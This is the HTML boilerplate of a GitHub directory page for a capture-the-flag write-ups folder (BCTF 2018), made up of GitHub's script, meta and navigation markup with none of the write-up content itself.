<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-Writeups/BCTF/2018 at master · nguyenduyhieukma/CTF-Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="81F9:0F2B:6C0B7B4:6F11BD7:6412257A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c1cd6385f3fe5768edf64844264445a49f0e48c286abdaa8020ffce0a4cbab7d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4MUY5OjBGMkI6NkMwQjdCNDo2RjExQkQ3OjY0MTIyNTdBIiwidmlzaXRvcl9pZCI6IjUxNTUxOTAzMjg3MDYzNDQzMTQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="f47ee5ebcc3a5068e89459aa8bec1e811ac7654122404b35c66fadf0d51c21f6" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:119350190" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to nguyenduyhieukma/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/4c68f1f0c78461d693c1f4f5926b3da70db84e2a4f897a02afb692bbf7482d61/nguyenduyhieukma/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/BCTF/2018 at master · nguyenduyhieukma/CTF-Writeups" /><meta name="twitter:description" content="Contribute to nguyenduyhieukma/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/4c68f1f0c78461d693c1f4f5926b3da70db84e2a4f897a02afb692bbf7482d61/nguyenduyhieukma/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to nguyenduyhieukma/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/BCTF/2018 at master · nguyenduyhieukma/CTF-Writeups" /><meta property="og:url" content="https://github.com/nguyenduyhieukma/CTF-Writeups" /><meta property="og:description" content="Contribute to nguyenduyhieukma/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/nguyenduyhieukma/CTF-Writeups git https://github.com/nguyenduyhieukma/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="35905324" /><meta name="octolytics-dimension-user_login" content="nguyenduyhieukma" /><meta name="octolytics-dimension-repository_id" content="119350190" /><meta name="octolytics-dimension-repository_nwo" content="nguyenduyhieukma/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="119350190" /><meta name="octolytics-dimension-repository_network_root_nwo" content="nguyenduyhieukma/CTF-Writeups" />
<link rel="canonical" href="https://github.com/nguyenduyhieukma/CTF-Writeups/tree/master/BCTF/2018" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
